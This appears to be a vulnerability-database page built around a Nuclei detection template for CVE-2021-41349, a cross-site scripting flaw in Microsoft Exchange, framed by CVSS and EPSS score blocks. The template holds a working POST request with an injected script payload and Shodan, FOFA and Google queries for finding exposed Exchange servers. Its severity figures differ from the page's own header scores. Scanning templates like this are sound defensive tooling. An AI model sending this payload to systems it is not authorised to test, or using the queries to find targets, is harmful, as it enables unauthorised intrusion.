7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
7.9 High
AI Score
Confidence
High
0.975 High
EPSS
Percentile
100.0%
Microsoft Exchange Server is vulnerable to a spoofing vulnerability. Be aware this CVE ID is unique from CVE-2021-42305.
id: CVE-2021-41349
info:
name: Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting
author: rootxharsh,iamnoooob
severity: medium
description: Microsoft Exchange Server is vulnerable to a spoofing vulnerability. Be aware this CVE ID is unique from CVE-2021-42305.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
remediation: |
Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
reference:
- https://www.microsoft.com/en-us/download/details.aspx?id=103643
- https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-41349
- https://nvd.nist.gov/vuln/detail/CVE-2021-41349
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41349
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41349
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2021-41349
epss-score: 0.96172
epss-percentile: 0.99474
cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
metadata:
max-request: 1
vendor: microsoft
product: exchange_server
shodan-query:
- vuln:cve-2021-26855
- http.favicon.hash:1768726119
- http.title:"outlook"
- cpe:"cpe:2.3:a:microsoft:exchange_server"
fofa-query:
- title="outlook"
- icon_hash=1768726119
google-query: intitle:"outlook"
tags: cve,cve2021,xss,microsoft,exchange
http:
- raw:
- |
POST /autodiscover/autodiscover.json HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
%3Cscript%3Ealert%28document.domain%29%3B+a=%22%3C%2Fscript%3E&x=1
matchers-condition: and
matchers:
- type: word
words:
- 'alert(document.domain);'
- 'a=""'
condition: and
- type: word
part: header
words:
- 'text/html'
- type: word
negative: true
words:
- "A potentially dangerous Request.Form value was detected from the client"
- type: status
status:
- 500
# digest: 4a0a0047304502210082ffeba5244b2355aebb82708913ac003ec222501eb6c2178ff0907e6b08c269022028637f8d68527b70f61dec192fe664515fe8c4ee71f67d562e0dedb37e373144:922c64590222798bb761d5b6d8e72950
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
7.9 High
AI Score
Confidence
High
0.975 High
EPSS
Percentile
100.0%